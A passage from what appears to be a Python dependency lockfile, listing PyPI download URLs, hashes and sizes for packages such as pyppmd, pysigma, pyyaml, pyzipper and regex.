{ url = "https://files.pythonhosted.org/packages/03/cc/870b9bf8ca92866ca0186534801cf8d20554ad2a76ca959538041b7a7cf4/pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:6bbcb1dd0f646484939e142462d9e532482bc74475cecf9c4903d4e1cd21f003", size = 2185467, upload-time = "2025-05-17T17:22:59.237Z" },
{ url = "https://files.pythonhosted.org/packages/96/e3/ce9348236d8e669fea5dd82a90e86be48b9c341210f44e25443162aba187/pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:8a4fcd42ccb04c31268d1efeecfccfd1249612b4de6374205376b8f280321744", size = 2346104, upload-time = "2025-05-17T17:23:02.112Z" },
{ url = "https://files.pythonhosted.org/packages/a5/e9/e869bcee87beb89040263c416a8a50204f7f7a83ac11897646c9e71e0daf/pycryptodomex-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:55ccbe27f049743a4caf4f4221b166560d3438d0b1e5ab929e07ae1702a4d6fd", size = 2271038, upload-time = "2025-05-17T17:23:04.872Z" },
{ url = "https://files.pythonhosted.org/packages/8d/67/09ee8500dd22614af5fbaa51a4aee6e342b5fa8aecf0a6cb9cbf52fa6d45/pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c", size = 1771969, upload-time = "2025-05-17T17:23:07.115Z" },
{ url = "https://files.pythonhosted.org/packages/69/96/11f36f71a865dd6df03716d33bd07a67e9d20f6b8d39820470b766af323c/pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9", size = 1803124, upload-time = "2025-05-17T17:23:09.267Z" },
{ url = "https://files.pythonhosted.org/packages/f9/93/45c1cdcbeb182ccd2e144c693eaa097763b08b38cded279f0053ed53c553/pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51", size = 1707161, upload-time = "2025-05-17T17:23:11.414Z" },
]
[[package]]
name = "pygments"
version = "2.21.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/49/2e/ced460408999b33da6b31b0021b0f37d329e202d4169aeb164493778f25b/pygments-2.21.0.tar.gz", hash = "sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c", size = 5005329, upload-time = "2026-08-17T08:02:48.824Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", hash = "sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9", size = 1250147, upload-time = "2026-08-17T08:02:44.912Z" },
]
[[package]]
name = "pyparsing"
version = "3.3.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e4/11/b213bebff182584360cb8d17c72c1677fec5c5c228de439e63bcf8ab1c8f/pyparsing-3.3.3.tar.gz", hash = "sha256:928ae7e20211f3b6f3915a72f06a0cfd29ab9d24279dd6346b6b1a7146397d36", size = 1050487, upload-time = "2026-09-20T20:59:05.609Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/38/bb/d215ee7c73b61497b28a5503f9f53523f294fcc936762b7caf90e0c1c2b5/pyparsing-3.3.3-py3-none-any.whl", hash = "sha256:ece8c00a69cf01b45d0b1dedabb469c90d8caf996d4fda40f147627a122849a4", size = 126420, upload-time = "2026-09-20T20:59:04.025Z" },
]
[[package]]
name = "pyppmd"
version = "1.3.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/81/d7/803232913cab9163a1a97ecf2236cd7135903c46ac8d49613448d88e8759/pyppmd-1.3.1.tar.gz", hash = "sha256:ced527f08ade4408c1bfc5264e9f97ffac8d221c9d13eca4f35ec1ec0c7b6b2e", size = 1351815, upload-time = "2025-11-27T22:08:44.175Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/65/10/ac2a011af1c7c40b6482e60d85d267ac5923fb8794b51bfddbb56b04d1ec/pyppmd-1.3.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:ea53f71ac16e113599b8441a9d8b6dcd71cfdf15cdb33ba5151810b8e656c5ec", size = 77897, upload-time = "2025-11-27T22:08:17.104Z" },
{ url = "https://files.pythonhosted.org/packages/20/13/737f4dac06685865d23f51b7061dbe9373c7bcc60b5b6456cd08301bc807/pyppmd-1.3.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:985c8703b53e5f68fe17f653e96748d60b1f855676c852a6e67cd472eb853671", size = 48268, upload-time = "2025-11-27T22:08:18.263Z" },
{ url = "https://files.pythonhosted.org/packages/c2/d3/c50ebaee8b8a064fe9a534e98df5051e309efb705728aadff4e6893cd87f/pyppmd-1.3.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:33daa996ad5203c665c0b55aff6329817b2cb7fa95f2c33a2e83ed0121b400cb", size = 48521, upload-time = "2025-11-27T22:08:19.742Z" },
{ url = "https://files.pythonhosted.org/packages/80/6c/4a97c0a0ab7640aeddde4843cb6381b80ecb71fe2c6c48b9032d60586b11/pyppmd-1.3.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b49870c6d7194f6eb80f30335ca03596d153e02fcde2c222e4f1202ac25f7fcf", size = 142892, upload-time = "2025-11-27T22:08:20.972Z" },
{ url = "https://files.pythonhosted.org/packages/8f/22/744c32c7da3de171d9e62a1b2cb4104544ac778358565a3dbc06a2253324/pyppmd-1.3.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:385e92c97c42e8a6f0bfc0e4acfc6c074cb1ba3a2f650f292696dd9f19e2e603", size = 144550, upload-time = "2025-11-27T22:08:22.594Z" },
{ url = "https://files.pythonhosted.org/packages/4a/18/84af6808e0754923062122d3ee9f0532050f1612069d558bb5d53978e67a/pyppmd-1.3.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:017a1e2903f1c3147a1046db486990d401e8a25eb52c320b1fc2fb3e7b83cbeb", size = 139850, upload-time = "2025-11-27T22:08:23.863Z" },
{ url = "https://files.pythonhosted.org/packages/20/5e/dc6166ea7929d442625301289d99313a5b358e3cb2e927a6bd913047e8ee/pyppmd-1.3.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f2770a4b777c0c5236b3d9294b7bf4bc15538c95d45b2079eb8ebc1298e62e37", size = 142589, upload-time = "2025-11-27T22:08:25.228Z" },
{ url = "https://files.pythonhosted.org/packages/77/92/adc6b12ddf11173a02fd631010f88ad4fe4c532363959638d5d53583a3d9/pyppmd-1.3.1-cp314-cp314-win32.whl", hash = "sha256:b9d54cd59ce97f2ba57be1da91b3d874d129faca21c9565d7afec111f942e6a1", size = 42761, upload-time = "2025-11-27T22:08:26.917Z" },
{ url = "https://files.pythonhosted.org/packages/12/4c/5003a413d9f2743298a070df6713a75dedccc470e7adeeced5b43cad7418/pyppmd-1.3.1-cp314-cp314-win_amd64.whl", hash = "sha256:0e64247618cb150d2909beb0137da3084fef1d3479b4cc73b5b47fda7611abf9", size = 47806, upload-time = "2025-11-27T22:08:28.059Z" },
{ url = "https://files.pythonhosted.org/packages/07/b7/db927e1df7fc3132cb57960f4ea23bf174c7e86ccec22857e6a35cccdae7/pyppmd-1.3.1-cp314-cp314-win_arm64.whl", hash = "sha256:d354d6e551d2630b0ac98f27e3ad63e86cdcac9ce2115b5dfe46e2c9d3f4e82c", size = 46122, upload-time = "2025-11-27T22:08:29.191Z" },
{ url = "https://files.pythonhosted.org/packages/a7/5f/3150227624f374b06e331a7f67ae3383e796dd90973ee17ec3e35d30524c/pyppmd-1.3.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:2d77ed79662c32e2551748d59763cfe3dcd10855bf3495937e3d5e5917507818", size = 78876, upload-time = "2025-11-27T22:08:30.635Z" },
{ url = "https://files.pythonhosted.org/packages/2b/81/11a3bba62d1d92050f4dd86db810062b506ec76d20b6e00b4ab567ff15e4/pyppmd-1.3.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:6a1f92b94635c23d85270bb26db25cc0db544e436af86efc1cf58302d71d5af1", size = 48830, upload-time = "2025-11-27T22:08:32.087Z" },
{ url = "https://files.pythonhosted.org/packages/24/47/e8f50cf89c689543d5a16c7be3df3c4afd43cbeb1a019b84ff9e82f13415/pyppmd-1.3.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:610f214f2405e27eb5a3dad7fa15f385cfc42141a01cda71995d9c1e0b09fab9", size = 48956, upload-time = "2025-11-27T22:08:33.567Z" },
{ url = "https://files.pythonhosted.org/packages/0b/0f/944b30679a8dea3ea95a66531ee30cb6feb5d011ec7fd6832069d9130bf3/pyppmd-1.3.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae81a14895498d9a23429d92114c98da478b74b8e33251527d7cff3e01c09de0", size = 152872, upload-time = "2025-11-27T22:08:35.098Z" },
{ url = "https://files.pythonhosted.org/packages/ae/87/1e48ea92994f4c72dc9b5520a6a386b21c524d3d2969c2c2a5c325929ad7/pyppmd-1.3.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d1683e6d1ba09e377e0ae02de3a518191a3d63ccdb0b6037c74e6ddf577b5644", size = 154210, upload-time = "2025-11-27T22:08:36.368Z" },
{ url = "https://files.pythonhosted.org/packages/3f/21/650911f98c4cb360442724bbdade27cb3679b0587ea77e73512693d2918d/pyppmd-1.3.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e4d74fa0f3531e9dadc56e0ace41bce82d3c0babed47b3f224101dc0dbde7287", size = 147636, upload-time = "2025-11-27T22:08:37.657Z" },
{ url = "https://files.pythonhosted.org/packages/7c/29/4f8cfc1dd67b04ced8c10669fa14c4e35a42cf4a84e1101793735a82d5f0/pyppmd-1.3.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7f8d6375b18b9c79127fee0885cfd52e2e983edb67041464309426571d38dcd4", size = 150998, upload-time = "2025-11-27T22:08:38.951Z" },
{ url = "https://files.pythonhosted.org/packages/c4/da/dc9e5e10bc56056bd8c33e533517cb327752cbaf172688bba3c23f6b2318/pyppmd-1.3.1-cp314-cp314t-win32.whl", hash = "sha256:de87f7acd575fb07a4ff42d41bcc071570fe759a36f345f1f54f574ecfccfc5b", size = 43016, upload-time = "2025-11-27T22:08:40.234Z" },
{ url = "https://files.pythonhosted.org/packages/fa/a0/46dc15549ad2c0427a9825730e6bdf342045ad410543368afd4389a16f36/pyppmd-1.3.1-cp314-cp314t-win_amd64.whl", hash = "sha256:76e4800aa67292b4cc80058fd29b39e02a5dded721af9fe5654f356ef24307f4", size = 48636, upload-time = "2025-11-27T22:08:41.45Z" },
{ url = "https://files.pythonhosted.org/packages/a1/7b/7e9a83848de928c26f0ab3ee105c0da63a932a0804a94807205e6313e73a/pyppmd-1.3.1-cp314-cp314t-win_arm64.whl", hash = "sha256:e066cbf1d335fe20480cd8ecc10848ba78d99fe6d1e44ea00def48feaf46afdf", size = 46402, upload-time = "2025-11-27T22:08:42.804Z" },
]
[[package]]
name = "pysigma"
version = "1.5.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "diskcache" },
{ name = "diskcache-stubs" },
{ name = "jinja2" },
{ name = "jq" },
{ name = "packaging" },
{ name = "pyparsing" },
{ name = "pyyaml" },
{ name = "requests" },
{ name = "types-pyyaml" },
{ name = "typing-extensions" },
]
sdist = { url = "https://files.pythonhosted.org/packages/8c/ca/ed5d1e86bb08501a0b664500224d5e58d6801a63713ad8f05857b9cf3c1f/pysigma-1.5.1.tar.gz", hash = "sha256:5f27ea435bc53480b43f9e385104c6df3d473715321d662a52a1fc283ab0b8db", size = 142073, upload-time = "2026-09-21T16:18:30.855Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b9/65/23d04dccc3a2d7db302eb751400a6d2ae328f849598871b8270f0ea60cc9/pysigma-1.5.1-py3-none-any.whl", hash = "sha256:1e6e080bde31db6039eb5d87d43322bf416534f30048091c65038e88225b8200", size = 171485, upload-time = "2026-09-21T16:18:29.147Z" },
]
[[package]]
name = "pyyaml"
version = "6.0.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" },
{ url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" },
{ url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" },
{ url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" },
{ url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" },
{ url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" },
{ url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" },
{ url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" },
{ url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" },
{ url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" },
{ url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" },
{ url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" },
{ url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" },
{ url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" },
{ url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" },
{ url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" },
{ url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" },
{ url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" },
]
[[package]]
name = "pyzipper"
version = "0.4.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "pycryptodomex" },
]
sdist = { url = "https://files.pythonhosted.org/packages/8b/5a/548039b202f85fcdfbadaddde2f4182c6dbf7730bbe005b24f903ae886ee/pyzipper-0.4.0.tar.gz", hash = "sha256:a4b96afcac04c5589d5abdc6158dd362166374e3cc6810aa441e65f8a17cb9e3", size = 36780, upload-time = "2026-05-14T04:06:28.903Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/1e/9a/db7b20df854ea3a7f25ee9d7bc31ff3ecce085843bcf4c06bd9c1dcc34e0/pyzipper-0.4.0-py3-none-any.whl", hash = "sha256:aa7b8a0fe741d67aac36ead85f6e735af107b72f84e0775f2ed565fc0d3a2f02", size = 36643, upload-time = "2026-05-14T04:06:27.332Z" },
]
[[package]]
name = "regex"
version = "2026.9.29"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/fc/f2/af1da9d3ceed77bfcdce40427d49ba0be94e4fe84245e3bfef68c10e75b6/regex-2026.9.29.tar.gz", hash = "sha256:8b5fcc4771732191b2b7d1dd68d8f0353f47f8d90b6150f6dce58bf1112442cb", size = 419199, upload-time = "2026-09-29T00:49:58.298Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/93/1f/d9dc6f02f569625faf67a4daec926cd5023472dcd69bb44286dccd5a5ab3/regex-2026.9.29-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:957bb708e8057ab1649ba566456429d691ec9b90d1c9ad1af1ba7ffbbeaf05f2", size = 497598, upload-time = "2026-09-29T00:47:36.541Z" },
{ url = "https://files.pythonhosted.org/packages/9c/83/9b693a3fd1451381e812031a8961ec5b3b8f0c8cc6871f14c5223642804d/regex-2026.9.29-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c9b602fae1e00b7c035d661ce85575365719192a7b46784bd71cf64c68053aa0", size = 296250, upload-time = "2026-09-29T00:47:38.233Z" },
{ url = "https://files.pythonhosted.org/packages/dd/5f/52bc2abc3fef040cd9de76ab29c918d6a717a454ae2b9dd7938b0c95656d/regex-2026.9.29-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0166844493626c5015c6088ee15c9ca2fd060ca15b7641d1657da6a58432ae33", size = 293518, upload-time = "2026-09-29T00:47:39.957Z" },
{ url = "https://files.pythonhosted.org/packages/dc/fc/cf50671215ee0057046980b4571ef8646a005819bb67f0957e779ed107a5/regex-2026.9.29-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b97a38fb4c732b6832db6bf108963adbcd82ef1268ba2025dce390f45af75efa", size = 806037, upload-time = "2026-09-29T00:47:41.676Z" },
{ url = "https://files.pythonhosted.org/packages/14/4b/dddef8fc15c63e4347cc9efb138d0cd306f30e6c98acbcc81a8f780083b9/regex-2026.9.29-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a540abfab208e1b7ef2df231c40ef3b6cbb30a0aad6204e9b6a81c10a6794628", size = 878881, upload-time = "2026-09-29T00:47:43.755Z" },
{ url = "https://files.pythonhosted.org/packages/9f/cb/38daabed32d28f7e58a06e9344ce00dc67952e9996bc578ed6a29fe1240e/regex-2026.9.29-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ddfa987262763c3c22a8367d2a49c244b018a74c3a8e3ab1a864119ad45c5633", size = 918684, upload-time = "2026-09-29T00:47:45.594Z" },
{ url = "https://files.pythonhosted.org/packages/a9/4d/041d9458a645fee4fce4d642a89d27271a3cfcd91095104f6dde44da70bf/regex-2026.9.29-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2f7f7aa47b229f2b39a2ae2596d2ad5625d77b5eb9856fac2dab3eb506cdd0a0", size = 807176, upload-time = "2026-09-29T00:47:47.372Z" },
{ url = "https://files.pythonhosted.org/packages/bf/c4/4383eed7aa5aef67616cb1b3f3ad06b7c624c4e6cced48630cd5ce133d85/regex-2026.9.29-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d9b77b25b4f395f92de6099ab08e8ae2bc7e51dfe157f22900902243a5cc90c7", size = 784315, upload-time = "2026-09-29T00:47:49.518Z" },
{ url = "https://files.pythonhosted.org/packages/5c/a6/0086ad31cebb183c637d3198547075aa493afde308e1ff61fccccb29ba6e/regex-2026.9.29-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:34b6925af9853bf461950e6508910f179fd6e9b1a7ec8548e069606b7e51a26b", size = 793748, upload-time = "2026-09-29T00:47:51.279Z" },
{ url = "https://files.pythonhosted.org/packages/d5/a0/f9005cba3f629a859573fc5d1224ea4e1f97919ec8581d018e03a351a604/regex-2026.9.29-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:addd736a0547d553283adaf4e05d7104e7f2c7b0b092e9b4d28756825f14531f", size = 870302, upload-time = "2026-09-29T00:47:53.368Z" },
{ url = "https://files.pythonhosted.org/packages/01/4f/e1a3e46bb5315a4e18b01a990e7a28e2a16595609d50c442baf2815a3c65/regex-2026.9.29-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:fe3fa1dd453ed5c7f5ea23a26218329790ed7197a99b90e94330e313959a7f52", size = 770299, upload-time = "2026-09-29T00:47:55.606Z" },
{ url = "https://files.pythonhosted.org/packages/2c/fe/f303b4acfda44e1ff1379368748c1ef2dad04a6a8e9c0ecbc970b19d97ca/regex-2026.9.29-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:0cc63b5e47c12a48d90c7e9d7de6a035dd14f62868aaedbb4e0ff8ba2b8bfe7b", size = 861570, upload-time = "2026-09-29T00:47:57.617Z" },
{ url = "https://files.pythonhosted.org/packages/60/b6/b4f7e99249f596017c60ccad5faf9310fc8e3e59bb2244940a90a1b0bdff/regex-2026.9.29-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:724184b4aafed865e4f13ca313fdcb43024300c028ec67319cfa16847d84685e", size = 795967, upload-time = "2026-09-29T00:47:59.922Z" },
{ url = "https://files.pythonhosted.org/packages/fb/d3/fc865a4638d9f6762192b6bab5b7aa1f33a90e9e99578c2e111e2a63c8c3/regex-2026.9.29-cp314-cp314-win32.whl", hash = "sha256:c6c8fabf1dafc1f1ddcbb67896d3f93efb092e8c4b6322d7389b944e76a484e5", size = 274758, upload-time = "2026-09-29T00:48:01.8Z" },
{ url = "https://files.pythonhosted.org/packages/31/e2/c2b466924ccbeb874862968ca638051b15a8fd29d994a0e99004a5cbf78e/regex-2026.9.29-cp314-cp314-win_amd64.whl", hash = "sha256:1c2a0026062abcc321a53db4a185ceba0b59a66b5d37b0808917a88b55a5257f", size = 283817, upload-time = "2026-09-29T00:48:03.614Z" },
{ url = "https://files.pythonhosted.org/packages/c6/42/ea0f8dbaa924fa75c6338935eaee2f44dab369b27f02db1e03d74344b049/regex-2026.9.29-cp314-cp314-win_arm64.whl", hash = "sha256:121a76a0985db80ceae9e171c337f8c927868e37d01b54e3ce87bc87f9c6a208", size = 283663, upload-time = "2026-09-29T00:48:05.624Z" },
{ url = "https://files.pythonhosted.org/packages/44/48/d58e5081119f5c223bbb37d2340acde3d069e1df8e8cd166c37502eee4da/regex-2026.9.29-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:e31f72490b7c12f7790e1e25c3afffd20503ee1bfb43461d7838b871ff244b19", size = 501393, upload-time = "2026-09-29T00:48:07.833Z" },
{ url = "https://files.pythonhosted.org/packages/72/3c/c49945287d4f9efee7d41f98072f8ad880efb8f430595a612fbdea996a4e/regex-2026.9.29-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:80ea96f5c1a30bf09007d48466521d9c294bebe197c708c3359096e3e3691632", size = 298237, upload-time = "2026-09-29T00:48:09.684Z" },
{ url = "https://files.pythonhosted.org/packages/f9/1f/688cb61c3d4cf7bcc1ed444b5cc49399eba3e51c469ae285cf87fea3022e/regex-2026.9.29-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:554bffadcbcb6d5f4e5fb10a61cc52084b9a63d1dab5f10bcd2c4343972e8e2c", size = 295936, upload-time = "2026-09-29T00:48:11.454Z" },
{ url = "https://files.pythonhosted.org/packages/26/a3/de43ac6b877b7d09c19a3a426b1bd5acdd209eaaf68f406466f80439ccf6/regex-2026.9.29-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:864e9b87ac33c3fb9fb4ad48166d4fdb579c351d5c77deb0d34bccb36a775cd9", size = 816905, upload-time = "2026-09-29T00:48:13.321Z" },
{ url = "https://files.pythonhosted.org/packages/62/14/9940763201c51d537786304984c67d0fc3d2ed18837ffb6f09a869f6b6c9/regex-2026.9.29-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:044265d77d94f5e3cb2fd72c76723807c429cb8c533e9d4672d0334a6f14f588", size = 881527, upload-time = "2026-09-29T00:48:15.313Z" },
{ url = "https://files.pythonhosted.org/packages/d3/e1/c842d8df0b23245ebf202f8ab9c39fd48e2db39959454ec39a41c8c72082/regex-2026.9.29-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2089fe39c406784d90101c726755ffa1497bb74638fd434300d2b88006186de8", size = 923115, upload-time = "2026-09-29T00:48:17.328Z" },
